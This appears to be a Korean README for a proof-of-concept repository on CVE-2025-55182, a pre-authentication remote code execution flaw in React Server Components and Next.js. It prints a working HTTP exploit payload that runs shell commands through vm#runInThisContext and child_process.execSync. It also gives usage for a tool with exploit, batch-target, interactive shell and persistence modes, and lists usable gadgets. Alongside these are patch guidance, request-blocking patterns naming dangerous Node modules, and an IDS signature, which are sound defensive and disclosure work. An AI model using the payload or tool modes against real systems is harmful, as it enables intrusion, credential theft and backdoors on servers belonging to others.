
통합 보안 연구 도구
schema.cx의 보안 연구
"통제는 환상이다. 우리를 통제하는 것은 우리가 구축한 시스템이다—우리가 먼저 그것을 이해하지 않는 한 말이다."
이 도구는 승인된 보안 테스트 전용입니다.
잠깐. 진행하기 전에 이 내용을 읽으십시오.
이 저장소는 치명적인 보안 취약점에 대한 개념 증명 코드를 포함하고 있습니다. 이 저장소의 자료에 접근, 다운로드 또는 사용함으로써 귀하는 다음 사항을 인지하고 동의하는 것으로 간주됩니다.
서면 승인 필요: 보안 테스트를 수행하기 전에 시스템 소유자로부터 명시적이고 서면으로 된 허가를 반드시 받아야 합니다. 구두 합의는 불충분합니다.
범위 제한: 테스트는 귀하의 승인에 명시적으로 명시된 시스템으로 제한되어야 합니다. "범위 확장"은 허용되지 않습니다.
관련 법률: 승인되지 않은 컴퓨터 시스템 접근은 다음을 위반합니다.
이 저장소의 작성자 및 기여자는 다음을 수행합니다.
"질문은 취약점을 악용할 수 있는지 여부가 아닙니다. 그것은 우리가 그래야 하는지, 그리고 어떤 목적을 위한 것인지입니다."
CVE-2025-55182는 React 19.x 및 Next.js 15.x-16.x 애플리케이션의 React Server Components에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행(RCE) 치명적 취약점입니다.
이 취약점은 취약한 애플리케이션에 네트워크 접근이 가능한 모든 인증되지 않은 공격자가 서버에서 임의의 명령을 실행할 수 있도록 합니다. 이 공격은 자격 증명, 사용자 상호 작용이 필요 없으며 완전히 자동화될 수 있습니다. 성공적인 악용은 다음과 같은 결과를 초래합니다.
"사람들은 시스템을 이해하지 못하기 때문에 신뢰합니다. 그 신뢰는 취약점입니다."
이 취약점은 requireModule 함수 내 React의 Flight 프로토콜 구현에 존재합니다. 이 함수는 대괄호 표기법을 사용하여 사용자 제어 입력을 기반으로 모듈 내보내기에 접근하면서, 요청된 속성이 모듈의 고유 속성(own property) 인지 확인하지 않습니다.
취약한 코드 위치:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
함수: requireModule (v19.0.0 기준 약 2546-2558행)
취약한 패턴:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... 비동기 처리 ...
return moduleExports[metadata[2]]; // ← 취약: hasOwnProperty 검사 없음
}
공격은 JavaScript의 프로토타입 체인 탐색을 활용합니다.
$ACTION_0:0 필드에는 공격자가 제어하는 id(module#export 형식) 및 bound(인수) 속성을 가진 JSON이 포함됩니다.constructor와 같은 내보내기를 지정하거나 프로토타입 속성에 접근하여 공격자는 내장 Node.js 모듈을 참조할 수 있습니다.vm.runInThisContext, child_process.execSync, fs.readFileSync와 같은 함수가 공격자가 제공한 인수로 실행됩니다.HTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // "module#export" 형식 구문 분석
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // 프로토타입 체인 접근 → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"모든 시스템에는 문이 있습니다. 문제는 당신이 자물쇠를 직접 만들었는지, 아니면 방문자를 기대하지 않은 누군가로부터 물려받았는지입니다."
| 제품 | 취약한 버전 | 패치된 버전 |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (취약한 React 사용) | 패치된 React가 포함된 버전 |
vm, child_process 또는 fs와 같은 모듈이 webpack 번들에 포함되어야 함이 저장소에는 여러 작동 모드를 가진 포괄적인 Python 기반 보안 스캐너가 포함되어 있습니다.
CVE-2025-55182-poc/
├── README.md # 이 파일
├── scanner/
│ ├── __init__.py # Python 패키지 초기화
│ ├── scanner.py # 주요 통합 스캐너 (6가지 모드)
│ ├── readme.md # 상세 스캐너 문서
│ ├── requirements.txt # Python 종속성
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # 취약점 심층 분석
│ └── VULNERABLE-PACKAGES.md # 영향받는 패키지 버전
설치:
cd scanner
pip install -r requirements.txt
취약점 스캔:
# 대상이 취약한지 확인
python scanner.py scan https://target.com
Gadget 탐지:
# 사용 가능한 RCE gadget 식별
python scanner.py exploit https://target.com --detect-gadgets
명령 실행 (권한 있음):
# 취약한 대상에서 명령 실행
python scanner.py exploit https://target.com -c "whoami"
배치 테스트:
# 파일에서 여러 대상 테스트
python scanner.py batch -f targets.txt -o results.json
확인을 포함한 자동 스캔:
# 악용 확인을 포함한 종합 스캔
python scanner.py auto -f targets.txt -o report.txt
취약한 대상:
[+] CVE-2025-55182에 취약합니다!
프레임워크: Next.js
버전: 15.1.0
신뢰도: 높음
사용 가능한 Gadget:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
패치된 대상:
[-] 취약하지 않거나 확인할 수 없음
탐지된 프레임워크: Next.js
버전: 15.2.0 (패치됨)
전체 문서는 scanner/readme.md를 참조하세요.
"도구는 그 뒤에 있는 의도만큼 위험합니다. 올바른 손에서 무기는 방패가 됩니다."
/etc/passwd, SSH 키, 클라우드 자격 증명데이터 유출: 공격자가 데이터베이스 자격 증명이 포함된 .env 파일을 읽고 고객 데이터를 유출합니다.
암호화폐 채굴기 설치: 공격자가 채굴 스크립트를 작성하고 지속성을 위해 크론 작업을 추가합니다.
공급망 공격: 공격자가 프로덕션에서 소스 코드를 수정하여 사용자에게 악성 콘텐츠를 제공합니다.
수평 이동: 손상된 서버가 내부 데이터베이스, API 및 서비스를 공격하는 데 사용됩니다.
랜섬웨어: 공격자가 애플리케이션 파일을 암호화하고 복호화 키에 대한 지불을 요구합니다.
React 즉시 업그레이드
npm update react react-dom react-server-dom-webpack
대상 버전: 19.0.1+, 19.1.2+ 또는 19.2.1+
패치 적용 확인
npm ls react
종속성 트리에 취약한 버전이 남아 있지 않은지 확인합니다.
다음 패턴을 포함하는 요청을 차단합니다.
# 차단할 요청 본문 패턴
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
webpack 번들링에서 위험한 패키지 제외:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
모니터링할 로그 패턴:
$ACTION_REF_ 또는 $ACTION_ID_ 필드/api/* 엔드포인트에 대한 POST 요청constructor, prototype 또는 예상치 못한 모듈 접근을 참조하는 오류 메시지침입 탐지 시그니처:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 악용 시도";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk 또는 유사한 도구로 정기적인 스캔"패치는 단순히 고장난 것을 수리하는 것이 아닙니다. 당신이 열려 있는지 몰랐던 문을 닫는 것입니다."
이 공개는 CERT/CC 취약점 공개 지침 및 ISO/IEC 29147:2018 조정된 취약점 공개 표준을 따릅니다.
이 개념 증명은 schema.cx 의 보안 연구팀에 의해 개발되었습니다.
저장소: https://github.com/ejpir/CVE-2025-55182-poc
다음 분들께 감사드립니다.
이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 공개됩니다.
이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다.
"우리는 파괴하기 위해 해킹하는 것이 아닙니다. 이해하기 위해 해킹합니다. 그리고 이해는 더 나은 것을 구축하기 위한 첫걸음입니다."
schema.cx — 더 안전한 디지털 세상을 위한 보안 연구
| 지표 | 등급 |
|---|
| CVSS v3.1 기본 점수 | 10.0 치명적 |
| 공격 경로 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호 작용 | 없음 |
| 영향 (기밀성/무결성/가용성) | 높음 / 높음 / 높음 |
| Gadget | 모듈 | 설명 | 영향 |
|---|
vm#runInThisContext | vm | 현재 컨텍스트에서 JS 실행 | 직접 RCE |
vm#runInNewContext | vm | 샌드박스에서 JS 실행 (탈출 가능) | 직접 RCE |
child_process#execSync | child_process | 셸 명령 실행 | 직접 RCE |
child_process#spawnSync | child_process | 프로세스 생성 | 직접 RCE |
fs#readFileSync | fs | 임의 파일 읽기 | 데이터 유출 |
fs#writeFileSync | fs | 임의 파일 쓰기 | 지속성/백도어 |
module#_load | module | JS 모듈 로드 (2단계 RCE) | 간접 RCE |
| 모듈 | 번들 내 가능성 | 일반적인 출처 |
|---|
fs | 매우 높음 | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | 중간-높음 | execa, shelljs, puppeteer, sharp, PDF 생성기 |
vm | 낮음-중간 | ejs, pug, 템플릿 엔진 |
module | 매우 낮음 | tsx, ts-node (보통 CLI 전용) |
| 모드 | 목적 |
|---|
scan | 취약점 탐지 및 핑거프린팅 |
exploit | 특정 gadget을 사용한 통제된 악용 |
shell | 취약한 대상에서 대화형 명령 셸 |
batch | 통계와 함께 여러 URL 테스트 |
auto | 확인을 포함한 자동 다중 대상 스캔 |
persist | 지속성 공격 시연 (SSH 키, 자격 증명) |
| 날짜 | 이벤트 |
|---|
| 발견 | 정보 보류됨 |
| 공급업체 통지 | 정보 보류됨 |
| 공급업체 확인 | 정보 보류됨 |
| 패치 개발 | 정보 보류됨 |
| 패치 릴리스 | React 19.0.1, 19.1.2, 19.2.1 |
| 공개 공개 | 정보 보류됨 |
| CVE 할당 | CVE-2025-55182 |